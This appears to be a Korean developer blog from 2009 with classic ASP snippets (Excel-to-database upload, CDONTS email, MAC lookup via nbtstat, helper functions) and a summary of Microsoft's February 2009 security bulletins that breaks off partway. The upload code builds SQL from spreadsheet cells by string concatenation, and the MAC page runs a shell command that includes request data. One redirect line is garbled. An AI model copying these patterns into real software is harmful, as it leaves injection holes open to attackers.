        strExt = Mid(upfilename, Instr(upfilename, ".") + 1) '확장자를 얻는다.


       


   


' 엑셀파일을 체크 한다.


    if(strExt="xls") then %>


<html>


<head>


<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">                


<%  


      ' 랜덤 숫자를 통해서 구분을 한다.


        Randomize


        myvalues = Int((100000000000 * Rnd) + 1)   ' 1에서 100000000000까지 중에서 무작위 값을 발생합니다.                          


       


''''''''''''''각 아이디당 폴더를 생성한다.'''''''''''''''''''''''''''


        folder_ex = "c:temp"& CcID


        If (filesystemobj.FolderExists(folder_ex)) Then


    '      response.Write("id folder exist")


        Else


          filesystemobj.CreateFolder(folder_ex)


        End If


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''


    onlyTrue = True ' 우선 같은이름의 파일이 존재한다고 가정


    countFileName = 0 ' 파일이 존재할 경우, 이름 뒤에 붙일 숫자를 세팅함.


''''''''''''''''각 폴더에 파일을 저장한다.''''''''''''''''''''''''''''      


     saveDate = Date


     fn = "c:temp"&CcID&""&strName&saveDate&".xls" ' 저장할 파일의 완전한 이름을 만듦    


     file2dbname= strName&saveDate&".xls"


     response.Write(file2dbname)


    


     uploadform("excelfile").SaveAs(fn)


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''


           


''''''''''''''''''''''''''''''''엑셀파일 보기 ''''''''''''''''''''''''


        xlsFile = fn


           


        Set objApp = CreateObject("Excel.Application") '엑셀 객체 생성


        Set objWorkbooks = objApp.Workbooks 'WorkBooks 객체 생성


        Set objWorkbook = objWorkbooks.Open(xlsFile) 'Excel 파일 Open


        Set objWorksheet = objWorkbook.Worksheets(1) 'Worksheet 객체 생성


        Set objRange = objWorksheet.UsedRange '사용된 영역 객체 생성


        aData= objRange.value '사용된 영역의 값들을 2차원배열 aData로 넘김


        %>


        <table cellpadding="0" cellspacing="0" border="1" width="540" align="center">


        <tr><td width="60" align="center">Number</td><Td width="120" align="center">고유한 키값</Td>


        <Td width="120" align="center">이 름</Td><Td width="140" align="center">전화번호</Td><td width="80">날 짜</td></tr>


        <% For i=1 to uBound(aData, 1) ' 배열의 끝까지 행루프 %>


        <tr><td align="center"><%=i%></td>


           <td align="center"><%=myvalues%></td>


            <% For j=1 to uBound(aData, 2) ' 배열의 끝까지 열루프 %>


                <%if j=1 then%>


                <td align="center">


                    <%=aData(i,1)%>


                    <% 'Dim member()


                       'member = aData(i, 1)%>


                                  


                </td>


                <% end if%>            


                <%if j=2 then%>


                <td align="center">


                <%=aData(i,2)%>


                    <% 'Dim phoneNum()


                       'phoneNum = aData(i, 2)%>              


                </td>


                <% end if%>


             <% Next ' 배열의 끝까지 열 루프 끝 %>


             <td><%=saveDate%></td>


        </tr>


             <% Next ' 배열의 끝까지 행 루프 끝 %>


        </table>    


     <%


       


    '   seedkey 및 업로드 날짜를 디비에 저장한다.  


       for i=1 to uBound(aData, 1)


            sql = "INSERT INTO excel2db(SEEDKEY,NAME,PHONE_NUMBER,UPLOAD_DATE,MESSAGE) VALUES "


            sql = sql & "('"&myvalues&"','"&aData(i,1)&"','"&aData(i,2)&"','"&saveDate&"','')"


           dbs.Execute(sql)


       next


    %>  


    <%  


      Set objRange = Nothing


      Set objWorksheet = Nothing


          objWorkbook.Close


      Set objWorkbook = Nothing


      Set objWorkbokks = Nothing


      Set objApp = Nothing


      


    '''''''''''''''''''''''''엑셀파일 보기 끝 ''''''''''''''''''''''''''''''' %>


    <%  else %>




<html>


<head>


<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">                        


       


        <script language="JavaScript">


        <!--


            alert("엑셀 파일만 업로드 가능합니다.")


            self.location.class='MIME' href="uploadfile.asp"


        //-->")


        </script>")




<%  end if      


        set fs = Nothing


        set real_fn = Nothing


        set uploadform = Nothing        


%>


</head>


<body></body>


</html>

2009/05/26 13:39 2009/05/26 13:39
이제 남은 것은 제출된 폼 데이터를 처리하는 것 뿐이다. 시작 부분에 언급한 것처럼, Windows NT Server의 Collaboration Data Object (CDONTS)를 이용하여 이메일을 통해 그 데이터를 전송할 것이다.

하지만 CDONTS를 사용하기 전에 우선 그것이 무엇인지를 알아야만 한다. 어떤 Microsoft 문서 자료에서는 Collaboration Data Object를 다음과 같이 설명한다.

“CDONTS는 웹 기반의 어플리케이션에 메시징 기능을 제공하기 위해 특별히 디자인된 Simple Mail Transfer Protocol(SMTP)를 위한 특별한 OLE 서버이다.”

마이크로소프트에 익숙하지 않은 사람은, CDONTS가 웹 페이지와 SMTP 서버 사이의 중개인 역할을 수행하는 것으로서 (이 폼과 같은) 웹에서 이메일을 통해 누군가에게 데이터를 전송하는 통신을 가능하게 하는 것으로 이해하면 된다.

CDONTS는 아주 강력하며 기능도 많지만 여기서는 간단히 다루고, 이 페이지의 끝부분에 CDONTS에 대한 다른 강좌 몇 개의 링크를 제공할 것이다. 무엇보다도 먼저 CDONTS와 같은 서버 객체를 사용할 때마다 그것의 인스탄스를 실행시킬(또는 보다 간단하게 말해서 그것을 사용할 수 있게 만들) 필요가 있다. 지금까지 만든 폼 핸들링 코드에 몇 줄을 추가하면 그렇게 만들 수 있다. CDONTS를 위한 코드는 다음 예에서 모두 라인 단위로 설명하도록 하겠다.







<%
if Request.Querystring("isSubmitted") = "yes" then

Dim fname, lname
Dim objCDO

fname = Request.Querystring("First_Name")
lname = Request.Querystring("Last_Name")

"Here is where we insert new code to invoke CDONTS

"This line invokes the object using the name objCDO
Set objCDO = Server.CreateObject("CDONTS.NewMail")

objCDO.From = "corinth@enfused.com" "That"s me :)
objCDO.To = "youremail@domain.com"
objCDO.Cc = "someoneimportant@whitehouse.gov, buycheese@cheese.com"
objCDO.Bcc = "bgates@microsoft.NET"
objCDO.Subject = "Submitted form data from my page"
objCDO.Body = "Name: " & fname & " " & lname

objCDO.BodyFormat = 1
objCDO.MailFormat = 1

objCDO.Send

"Notice that response.write changed to ConfirmMsg =
"I will explain why in just a little while.

ConfirmMsg = "Thanks for submitting your name!"
end if
%>



이제 한 줄씩 살펴보기만 하면 무엇이 일어나는지 정확하게 알 수 있을 것이다. 불러낸 객체의 메쏘드 또는 프로퍼티를 참조하려 할 때마다 지정한 이름을 사용해야 한다는 것을 기억해두자(이 예에서는 아래에서 보여주는 것처럼 마침표가 뒤에 붙는 objCDO임). (주의: 이 값들이 모두 Send 명령 앞에만 있다면 순서는 상관없다)

먼저 From은 이메일을 보내는 사용자의 이메일 주소로서, 문자열이다. 일단은 이것을 이메일 주소로 지정하자. 일반적으로 사용자에게 이 필드를 채우게 하는 것이 좋을 것이다. 그것을 어떻게 제공하는지는 이 글의 끝에서 보여주겠다. 하지만 이제까지 다루었던 것을 잘 이해하고 있나 확인하는 차원에서 먼저 스스로 해보기를 권장한다.






objCDO.From = "corinth@enfused.com" "That"s me :)


팁: 필자에게 스팸 메일을 보내지 마라. 스팸 외 모든 합법적인 이메일 ? 질문, 코멘트 또는 비판은 환영한다. 그러나 필자는 바쁜 사람이며 즉각 회신할 수는 없다는 것을 기억해 주기 바란다.

To는 의도한 수신자의 이메일 주소이다. 이 필드를 제작자 자신(바로 독자)의 이메일 주소(들)로 작성해라. 다중 이메일인 경우에는 콤마로 구분한다(사실 다른 필드에서도 마찬가지이다). 이 필드들은 모두 문자열 값들을 가져야 하므로 인용 기호를 빠뜨려서는 안된다.






objCDO.To = "youremail@domain.com"


CC, BCC는 전달하고 싶은 임의의 참조인(Carbon Copies 또는 Blind Carbon Copies)의 이메일 주소들이다.






objCDO.Cc = "someoneimportant@whitehouse.gov, buycheese@cheese.com"
objCDO.Bcc = "bgates@microsoft.NET"


Subject는 이메일의 주제로 보이게 지정한 임의의 문자열이다.






objCDO.Subject = "Submitted form data from my page"


Body는 메시지의 본문 또는 주요 컨텐츠이다. 이메일로 전송될 수 있기만 하다면 원하는 무엇이든 문자열 포맷으로 여기에 쓸 수 있다. 바로 여기에 변수를 위치시키고 전송할 것이다.






objCDO.Body = "Name: " & fname & " " & lname


팁: 위의 코드는 ASP와 CDONTS의 중요하면서도 강력한 기본 원소를 예로 보여주는데, 디자이너는 고정된 문자열을 사용하는 대신에 이러한 CDONTS 속성에 대한 변수에 지정할 수 있다. 이 기능을 이용하면 디자이너의 역량이 확장되므로 창조적으로 작업할 수 있다. 문자열 변수를 이용하여 생활을 보다 편리하게 만들어보기 바란다. 아마도 주제 폼 필드도 만들 수 있을 것이므로 사용자에게 자신의 주제를 제출하게 할 수도 있다.

다음 두 프로퍼티는 전송될 이메일의 타입이 HTML인지 아니면 단순한 텍스트인지를 결정한다. 여기에서는 편의상 메시지를 단순한 텍스트로 보낼 것이다. HTML로 전송하고 싶으면 이 변수들을 0으로 변경하고 Body 문자열을 HTML 코드로 작성하면 된다.






objCDO.BodyFormat = 1
objCDO.MailFormat = 1


마지막으로 코드의 끝부분은 실제로 서버에게 메시지를 전송하라고 알린다.






objCDO.Send


Response.Write 대신 ConfirmMsg = 를 사용한 조그마한 트릭이 있는데, 그것은 확인 메시지를 좀 더 좋게 포맷하기 위해 사용되었다. ConfirmMsg 변수를 이용하여 무엇을 할 것인지는 전체 페이지에 대한 마지막 손질을 할 때 보여줄 것이다.

여기까지가 이 페이지에서 다루려 했던 CDONTS에 대한 모든 것이다. 코딩 과정을 돕기 위해 간편한
CDONTS 참고 테이블을 만들었으니 참고하기 바란다.

CDONTS 링크
ASP Today: CDONTS 세팅 및 사용하기
15 Seconds: CDO를 이용하여 HTML 전송하기
15 Seconds: Collaboration Data Object와 IIS 4.0
Power ASP: CDONTS 컴포넌트 사용하기… (attachments 포함)
ASP Watch: CDONTS를 이용하여 이메일 보내기
Microsoft CDONTS 문서 자료
2009/05/26 13:38 2009/05/26 13:38

<%@ LANGUAGE="VBSCRIPT"%>


<%


strIP = Request.ServerVariables("REMOTE_ADDR")


strMac = GetMACAddress(strIP)


strHost = Request.ServerVariables("REMOTE_HOST")


function GetMACAddress(strIP)


Set net = Server.CreateObject("wscript.network")


Set sh = Server.CreateObject("wscript.shell")


sh.run "%comspec% /c nbtstat -A " & strIP & " > c:" & strIP & ".txt",0,true


Set sh = nothing


Set fso = createobject("scripting.filesystemobject")


Set ts = fso.opentextfile("c:" & strIP & ".txt")


macaddress = null


Do While Not ts.AtEndOfStream


data = ucase(trim(ts.readline))


if instr(data,"MAC ADDRESS") Then


macaddress = trim(split(data,"=")(1))


Exit Do


End if


loop


ts.close


Set ts = nothing


fso.deletefile "c:" & strIP & ".txt"


Set fso = nothing


GetMACAddress = macaddress


End function


%>










<body>


<%Response.Write("Your IP is : " & strIP & "" & vbcrlf)%>


<%Response.Write("Your MAC is : " & strMac & vbcrlf)%>


</body>

2009/05/26 13:37 2009/05/26 13:37
<%
'==================================================================================
'== 설명 : 폴더 존재 여부를 체크하여 폴더 만들기
'== 이름 : ChkDirecoty(dir, gubun, dir_status)
'== 변수 : dir(경로명), gubun(폴더구분자),dir_status(가상경로:v, 물리적경로:p)
'== 반환 : String
'===================================================================

Sub ChkDirectory(dir,gubun, dir_status)
Dim objFile, objStream
Dim i,tmp

Set objFile = Server.CreateObject("Scripting.FileSystemObject")
for i = 0 to ubound(split(dir,gubun))-1
tmp = tmp&split(dir,gubun)(i)&gubun

If dir_status = "v" then
IF not(objFile.folderexists(Server.MapPath(tmp))) then
objFile.createfolder(Server.MapPath(tmp))
End If
Elseif dir_status = "p" then
IF not(objFile.folderexists(tmp)) then
objFile.createfolder(tmp)
End If
End If
next
Set objFile = Nothing
End Sub

'===================================================================
'== 설명 : 화일 지우기
'== 이름 : DeleteTxtFile(FileName, path_status)
'== 변수 : FileName : 전체 화일명, status : 파일경로 형태(v:가상경로,r:물리적경로)
'== 반환 : String
'===================================================================
Sub DeleteTxtFile(FileName, path_status)
Dim objFile, objStream, Err

' On Error Resume Next
Set objFile = Server.CreateObject("Scripting.FileSystemObject")
If path_status = "v" then
objFile.DeleteFile Server.MapPath(FileName)
Else
objFile.DeleteFile FileName
End If

Set objFile = Nothing
' Err.Clear
End Sub


'===================================================================
'== 설명 : 고유한 파일이름으로 변환
'== 이름 : GetUniqueName
'== 변수 : String
'== 반환 : String
'===================================================================

Function GetUniqueName(byRef strFileName, DirectoryPath)
Dim strName, strExt
strName = Mid(strFileName, 1, InstrRev(strFileName, ".") - 1) ' 확장자를 제외한 파일명을 얻는다.
strExt = Mid(strFileName, InstrRev(strFileName, ".") + 1) '확장자를 얻는다

Dim fso
Set fso = Server.CreateObject("Scripting.FileSystemObject")

Dim bExist : bExist = True
'우선 같은이름의 파일이 존재한다고 가정
Dim strFileWholePath : strFileWholePath = DirectoryPath & "" & strName & "." & strExt
'저장할 파일의 완전한 이름(완전한 물리적인 경로) 구성
Dim countFileName : countFileName = 0
'파일이 존재할 경우, 이름 뒤에 붙일 숫자를 세팅함.

Do While bExist ' 우선 있다고 생각함.
If (fso.FileExists(strFileWholePath)) Then ' 같은 이름의 파일이 있을 때
countFileName = countFileName + 1 '파일명에 숫자를 붙인 새로운 파일 이름 생성
strFileName = strName & "-" & countFileName & "." & strExt
strFileWholePath = DirectoryPath & "" & strFileName
Else
bExist = False
End If
Loop
GetUniqueName = strFileWholePath
End Function


'===================================================================
'== 설명 : 클라이언트에서 업로드된 파일명 리턴
'== 이름 : ChkFileName
'== 변수 : String
'== 반환 : String
'===================================================================

Function ChkFileName(name)
Dim tmpName, tmpExt, arrTmpName, tmpFileName

tmpName = Mid(name, 1, InstrRev(name, ".") - 1)
tmpExt = Mid(name, InstrRev(name, ".") + 1)

arrTmpName = split(tmpName,"")
tmpName = arrTmpName(Ubound(arrTmpName))
tmpFileName = tmpName&"."&tmpExt

ChkFileName = tmpFileName
End Function




'==================================================================================
'== 설명 : 화일 존재 여부를 체크하여 리턴
'== 이름 : ChkDirecoty(dir_status, filePath)
'== 변수 : dir_status(가상경로:v, 물리적경로:p), filePath(디렉토리포함)
'== 반환 : 존재(true), 없음(false)
'===================================================================

Function ChkFileExist(dir_status, filePath)
Dim objFile, tmpFile

Set objFile = Server.CreateObject("Scripting.FileSystemObject")

IF dir_status="v" then
tmpFile = Server.MapPath(filePath)
Else
tmpFile = filePath
End IF

If objFile.FileExists(tmpFile) then
chkFileExist=true
else
chkFileExist=false
End If

Set objFile = Nothing

End Function

%>
2009/05/26 13:37 2009/05/26 13:37
'===================================================================
'== 설명 : 문장을 해당 자릿수만큼 <br>이 들어간 문장으로 변환
'== 이름 : MakeBr(Str,Pos)
'== 변수 : Str(String),Pos(Int)
'== 반환 : String
'===================================================================
Function MakeBr(Str,Pos)

Dim StrLen, TmpStr, i, Midcnt, Start, Surplus

StrLen = len(Str)

If (StrLen Mod Pos) = 0 then
MidCnt = Fix(StrLen/Pos)
Else
MidCnt = Fix(StrLen/Pos) + 1
End If

for i = 1 to MidCnt
if i = 1 then
TmpStr = TmpStr&Mid(Str,i,pos)&"<br>"
Else
TmpStr = TmpStr&Mid(Str,((i-1)*Pos)+1,pos)&"<br>"
End If
next

MakeBr = TmpStr
End Function


' ##################################################################################
' 검색에서 selected
' ##################################################################################
Function getSelected(search,t)
if search = t then
getSelected ="selected"
end if
End function

' ##################################################################################
' checked
' ##################################################################################
Function getChecked(tag,y)
If tag = y then
getChecked = "checked"
End if
End function

' ##################################################################################
' 자동링크
' ##################################################################################

FUNCTION autolink(CONTENT)

DIm Re
Set re = New RegExp

' First Pass for http
re.Pattern = "(w+)://([^/:]+)(:d*b)?([^# n<]*).*n"
re.Pattern = "http://([0-9a-zA-Z./@:~?&=_-]+)"
re.Global = True
re.IgnoreCase = True

' ASP seems to be not supporting .MultiLine method.
're.MultiLine = True

CONTENT = re.Replace(CONTENT,"<a target=_blank href='http://$1'>http://$1</a>")

' Second Pass for mail
re.Pattern = "([_0-9a-zA-Z-]+(.[_0-9a-zA-Z-]+)*)@([0-9a-zA-Z-]+(.[0-9a-zA-Z-]+)*)"
autolink = re.Replace(CONTENT,"<a href='mailto:$1@$3'>$1@$3</a>")

END FUNCTION

' ##################################################################################
' 문자열 체크 (리턴값:boolean)
' ##################################################################################
Function chkStrFlag(Val, chkStr)
Dim flag, MyPos

If Val = "" then
flag = false
Else
Mypos =Instr(Val,chkStr)
If MyPos = 0 then
flag=false
Else
flag=true
End If
End If

chkStrFlag = flag
End Function


'##################################################################################
' 문자열 체크 (공백이나 NULL값 체크)
' Val : 체크 값, r_Val (대체값)
'##################################################################################
Function replaceVal(val, r_Val)
Dim flag, MyPos

If (val = "") or IsNull(Val) then
replaceVal = r_Val
Else
replaceVal = val
End If
End Function



'##################################################################################
' 숫자값 자릿수만큼 문자로 변경 (공백이나 NULL값 체크)
' Val : 체크 값, chkLen 자릿수 , r_Val(대체값)
'##################################################################################
Function chkLenReplaceVal(val,chkLen, r_Val)
Dim chkCnt, MyPos
chkCnt = len(Cstr(val))

If chkCnt < chkLen then
chkLenReplaceVal = val

for i = 1 to (chkLen-chkCnt)
chkLenReplaceVal = r_Val&chkLenReplaceVal
next
Else
chkLenReplaceVal = val
End If

End Function



'##################################################################################
' 널값,""값 확인
' Val : 체크 값
' retun 값 : true, false
'##################################################################################
Function chkBlank(val)
If (val = "") or IsNull(Val) then
chkBlank = true
Else
chkBlank = false
End If
End Function


'##################################################################################
' 비교값 리턴
' Val : 체크 값
' retun 값 : true, false 또는 대치 문장
'##################################################################################
Function replaceStr(str, chkStr, replaceStr1, replaceStr2)
If str = chkStr then
replaceStr = replaceStr1
Else
replaceStr = replaceStr2
End If
End Function


'##################################################################################
' NULL값 만들기
' Val : 값
' retun 값 : NULL, 문장
'##################################################################################

Function makeNull(str)
If str="" or IsNull(str) then
makeNull = "NULL"
Else
makeNull = str
End IF
End Function

'##################################################################################
' HTML 태그 지우기 (정규식표현)
' 인자 : strHTML:문장, patrn : 패턴 문장
' retun 값 : String
'##################################################################################

Function stripHTML(strHTML, patrn)
Dim objRegExp, strOutput
Set objRegExp = New Regexp

objRegExp.IgnoreCase = True
objRegExp.Global = True
objRegExp.Pattern = patrn

'objRegExp.Pattern = "<.+?>" '''' 태그완전히없앰


strOutput = objRegExp.Replace(strHTML, "")

stripHTML = strOutput

Set objRegExp = Nothing
End Function

'##################################################################################
' 문자 잘라내기
'##################################################################################
Function CutString(Str,Length,Patten)
If Len(Str) > Length Then
CutString = Left(Str,Length-3) & patten
Else
CutString = Str
End If
End Function



별건 아니구요..그냥 가끔 디버깅시에 쓰는 함수에요
####################################################
Sub DbPrintErrMsg(obj)

Dim errLoop
For Each errLoop In obj.Errors
response.write "#############<br>"
response.write "Error Number: " & errLoop.Number & "<br>"
response.write "Description: " & errLoop.Description & "<br>"
response.write "Source: " & errLoop.Source & "<br>"
response.write "SQL State: " & errLoop.SQLState & "<br>"
response.write "Native Error: " & errLoop.NativeError & "<br>"
response.write "#############<br>"
Next
End Sub

########폼값 확인할때###################
Sub Prt_RequestForm(obj)

Dim item
For Each item In obj
response.write "#############<br>"
response.write item&" : " &obj(item)& "<br>"
response.write "#############<br>"
Next
End Sub
ex) Prt_RequestForm(Request.Form), Prt_RequestForm(Request.QueryString),
Prt_RequestForm(UploadForm)
2009/05/26 13:36 2009/05/26 13:36
'+++++++++++++++++++++++++++++++++++++++

'함수명 : getWeekDayNum(chkDate)

'인자 : chkDate - 문자열

'기능 : 날짜를 받아 날짜의 정수값 표현리턴

'+++++++++++++++++++++++++++++++++++++++

Function getWeekDayNum (chkDate)

Dim chkVal

chkVal = WeekDay(chkDate)



getWeekDayNum = chkVal

End Function



'+++++++++++++++++++++++++++++++++++++++

'함수명 : getDayName(chkDate)

'인자 : chkDate - 문자열

'기능 : 날짜를 받아 요일명 리턴

'+++++++++++++++++++++++++++++++++++++++

Function getDayName (chkDate)

Dim chkVal, strDayName

chkVal = WeekDay(chkDate)

strDayName = WeekDayName(chkVal)



getDayName = strDayName

End Function





'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

'함수명 : getMonthFirstSunday(chkDate)

'인자 : chkDate - 문자열("YYYY-MM-DD")

'기능 : 날짜를 받아 그 달의 첫번째 일요일 날짜 리턴

'++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Function getMonthFirstSunday(chkDate)

Dim chkVal, thisMonthStart



thisMonthStart = DateSerial(Year(chkDate), Month(chkDate),1)

chkVal = WeekDay(thisMonthStart)



If chkVal = 1 then

getMonthFirstSunday = thisMonthStart

Else

getMonthFirstSunday = DateAdd("d",7-(chkVal-1) , thisMonthStart)

End If

End Function



'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

'함수명 : getMonthLastSunday(chkDate)

'인자 : chkDate - 문자열

'기능 : 날짜를 받아 그 달의 마지막 일요일 날짜 리턴

'++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Function getMonthLastSunday(chkDate)

Dim chkVal, nextMonthStart



nextMonthStart = DateSerial(Year(chkDate), Month(chkDate)+1,1)

chkVal = WeekDay(nextMonthStart)



If chkVal = "1" then

getMonthLastSunday = DateAdd("ww",-1, nextMonthStart)

Else

getMonthLastSunday = DateAdd("d",-(chkVal-1) , nextMonthStart)

End If

End Function



'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

'함수명 : getWeekSunDay(chkDate)

'인자 : chkDate - 문자열

'기능 : 날짜를 받아 날짜의 주차의 해당 일요일을 리턴

'++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Function getWeekSunDay(chkDate)

Dim chkVal, firstSunDay



firstSunday = getMonthFirstSunDay(chkDate)



diff = DateDiff("ww",firstSunday, chkDate)



If diff = 0 then

getWeekSunDay = firstSunday

Else

getWeekSunDay = DateAdd("ww",diff,firstSunday)

End If



End Function







'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

'함수명 : getWeekSunDayCnt(chkDate)

'인자 : chkDate - 문자열

'기능 : 날짜를 받아 날짜의 주차의 해당 일요일의 그 달의 카운터를 리턴

'++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Function getWeekSunDayCnt(chkDate)

Dim chkVal, firstSunDay



firstSunday = getMonthFirstSunDay(chkDate)



diff = DateDiff("ww",firstSunday, chkDate)



If diff = 0 then

getWeekSunDayCnt = 1

Else

getWeekSunDayCnt = diff+1

End If



End Function





'+++++++++++++++++++++++++++++++++++++++

'서브명 : subDayInfo(chkDate)

'인자 : chkDate - 문자열

'기능 : 날짜를 받아 요일명, 요일 번호, 그 달의 첫번째 일요일, 마지막 일요일 값 리턴



'+++++++++++++++++++++++++++++++++++++++

Sub subDayInfo(chkDate)

dayName = getDayName(chkDate)

dayVbVal = getWeekDayNum(chkDate)

firstSunday = getMonthFirstSunday(chkDate)

lastSunday = getMonthLastSunday(chkDate)





response.write chkDate &"관련 정보<br>"

response.write "요일 : "& dayName&"<br>"

response.write "정수값 : "& dayVbVal&"<br>"

response.write "그 달의 첫번째 일요일 : "& firstSunDay&"<br>"

response.write "그 달의 마지막 일요일 : "& lastSunDay&"<br>"



End Sub



















chkDate = "2003-07-22"



Call subDayInfo(chkDate)



response.write getWeekSunDay(chkDate)&":"



response.write getWeekSunDayCnt(chkDate)



%>

2009/05/26 13:36 2009/05/26 13:36
<%@ LANGUAGE="VBSCRIPT"%>
<%
strIP = Request.ServerVariables("REMOTE_ADDR")
strMac = GetMACAddress(strIP)
strHost = Request.ServerVariables("REMOTE_HOST")
function GetMACAddress(strIP)
        Set net = Server.CreateObject("wscript.network")
        Set sh = Server.CreateObject("wscript.shell")
        sh.run "%comspec% /c nbtstat -A " & strIP & " > c:" & strIP & ".txt",0,true
        Set sh = nothing
        Set fso = createobject("scripting.filesystemobject")
        Set ts = fso.opentextfile("c:" & strIP & ".txt")
        macaddress = null
        Do While Not ts.AtEndOfStream
                data = ucase(trim(ts.readline))
                if instr(data,"MAC ADDRESS") Then
                        macaddress = trim(split(data,"=")(1))
                        Exit Do
                End if
        loop
        ts.close
        Set ts = nothing
        fso.deletefile "c:" & strIP & ".txt"
        Set fso = nothing
        GetMACAddress = macaddress
End function
%>

<body>
<%Response.Write("Your IP is : " & strIP & "
" & vbcrlf)%>
<%Response.Write("Your MAC is : " & strMac & vbcrlf)%>
</body>
2009/05/26 13:35 2009/05/26 13:35
■ 개 요

MS社는 2월 11일 Internet Explorer, MS Exchange 등에서 시스템 장악 등 해킹에 악용 가능한 보안취약점 4건(긴급 2, 중요 2)을 발표하였는 바, 각급기관은 해당 시스템에 대한 MS社의 보안 업데이트를 조속히 설치하시기 바랍니다.



■ 보안 업데이트에 포함된 취약점 및 관련 사이트

1
. Internet Explorer 누적 보안업데이트(긴급, 961260)

o 설 명
Internet Explorer에서 조작된 스타일 시트를 처리하는 과정 등에 원격코드 실행 취약점이 존재하여 공격자는 악의적인 웹페이지를 구축한 후 이메일 등을 통해 사용자의 방문을 유도하여 취약한 시스템에 대해 완전한 권한 획득이 가능하다.

o 관련 취약점
    - Uninitialized Memory Corruption Vulnerability(CVE-2009-0075)
    - CSS Memory Corruption Vulnerability(CVE-2009-0076)

o 영향받는 소프트웨어
   - Internet Explorer 7 for Microsoft Windows XP SP2, SP3
   - Internet Explorer 7 for Microsoft Windows XP Professional x64 Edition, SP2
   - Internet Explorer 7 for Microsoft Windows Server 2003 SP1, SP2
   - Internet Explorer 7 for Microsoft Windows Server 2003 SP1, SP2 for Itanium-based Systems
   - Internet Explorer 7 for Microsoft Windows Server 2003 x64 Edition, SP2
   - Internet Explorer 7 for Microsoft Windows Vista, SP1
   - Internet Explorer 7 for Microsoft Windows Vista x64 Edition, SP1
   - Internet Explorer 7 for Microsoft Windows Server 2008
   - Internet Explorer 7 for Microsoft Windows Server 2008 x64 Edition
   - Internet Explorer 7 for Microsoft Windows Server 2008 for Itanium-based Systems

o 영향받지 않는 소프트웨어
   - Internet Explorer 5.01 SP4 for Microsoft Windows 2000 SP4
   - Internet Explorer 6 SP1 for Microsoft Windows 2000 SP4
   - Internet Explorer 6 for Microsoft Windows XP SP2, SP3
   - Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition, SP2
   - Internet Explorer 6 for Microsoft Windows Server 2003 SP1, SP2
   - Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition, SP2
   - Internet Explorer 6 for Microsoft Windows Server 2003 SP1, SP2 for Itanium-based Systems

o 관련사이트
→ 영문 : http://www.microsoft.com/technet/security/Bulletin/MS09-002.mspx
→ 한글 : http://www.microsoft.com/korea/technet/security/Bulletin/MS09-002.mspx

2. MS Exchange 취약점으로 인한 원격코드실행 문제점(긴급, 959239)

o 설 명
MS Exchange 서버에서 조작된 TNEF 메시지 및 MAPI 명령을 처리하는 과정에 원격코드 실행 취약점이 존재하여 공격자는 악의적으로 조작된 이메일을 Exchange 서버 사용자에게 전송, 열람을 유도하여  취약한 시스템에 대해 완전한 권한 획득이 가능하다.

* TNEF(Transport Neutral Encapsulation Format) : MS Exchange Server 및 Outlook 클라이언트에서 서식 있는 텍스트(RTF)를 보낼때 사용하는 형식
* MAPI(Message Application Programming Interface) : 이메일을 보내거나 현재 작성중인 문서를 이메일 내용으로 첨부할 수 있도록 해주는 인터페이스


o 관련 취약점
    - Memory Corruption Vulnerability(CVE-2009-0098)
    - Literal Processing Vulnerability(CVE-2009-0099)

o 영향받는 소프트웨어
   - Microsoft Exchange 2000 Server SP3
   - Microsoft Exchange Server 2003 SP2
   - Microsoft Exchange Server 2007 SP1

o 관련사이트
→ 영문 : http://www.microsoft.com/technet/security/Bulletin/MS09-003.mspx
→ 한글 : http://www.microsoft.com/korea/technet/security/Bulletin/MS09-003.mspx

3. SQL 서버의 취약점으로 인한 원격코드실행 문제점(중요, 959420)

o 설 명
MS SQL 서버에서 SQL 인젝션 공격이 가능한 취약점이 존재하여 공격자는 홈페이지에 악성코드 삽입, DB 내용 절취 등 취약한 시스템에 대해 완전한 권한 획득이 가능하다.

* SQL 인젝션 : DB에 정상적인 쿼리로 위장한 악의적인 쿼리를 전송, 이를 실행토록 하는 해킹수법

o 관련 취약점
    - SQL Server sp_replwritetovarbin Limited Memory Overwrite Vulnerability(CVE-2008-5416)

o 영향받는 소프트웨어
   - SQL Server 2000 SP4
   - SQL Server 2000 Itanium-based Edition SP4
   - SQL Server 2005 SP2
   - SQL Server 2005 x64 Edition SP2
   - SQL Server 2005 for Itanium-based Systems SP2
   - Microsoft SQL Server 2000 Desktop Engine(MSDE 2000) SP4
   - Microsoft SQL Server 2005 Express Edition SP2
   - Microsoft SQL Server 2005 Express Edition with Advanced Services SP2
   - Microsoft SQL Server 2000 Desktop Engine(WMSDE) on Windows Server 2003 SP1, SP2
   - Microsoft SQL Server 2000 Desktop Engine(WMSDE) on Windows Server 2003 x64 Edition,
      SP2
   - Windows Internal Database(WYukon) SP2 on Windows Server 2003 SP1, SP2
   - Windows Internal Database(WYukon) x64 Edition SP2 on Windows Server 2003 x64 Edition,
      SP2
   - Windows Internal Database(WYukon) SP2 on Microsoft Windows Server 2008
   - Windows Internal Database(WYukon) x64 Edition SP2 on Microsoft Windows Server 2008
      x64

o 영향받지 않는 소프트웨어
   - SQL Server 7.0 SP4
   - Microsoft Data Engine(MSDE) 1.0 SP4
   - SQL Server 2005 SP3
   - Application Center 2000 SP2
   - SQL Server 2005 x64 Edition SP2
   - SQL Server 2005 SP3 for Itanium-based
   - SQL Server 2008, x64, Itanium-based

o 관련사이트
→ 영문 : http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx
→ 한글 : http://www.microsoft.com/korea/technet/security/Bulletin/MS09-003.mspx

4. MS Visio 취약점으로 인한 원격코드실행 문제(중요, 957634)

o 설 명
MS Vsio에서 특정 파일을 처리하는 과정에 원격코드 실행 취약점이 존재하여 공격자는 악의적인 웹페이지를 구축한 후 사용자의 방문을 유도하거나 이메일 첨부파일을 열어보도록 유도하여 취약시스템에 대해 완전한 권한 획득이 가능하다.

o 관련 취약점
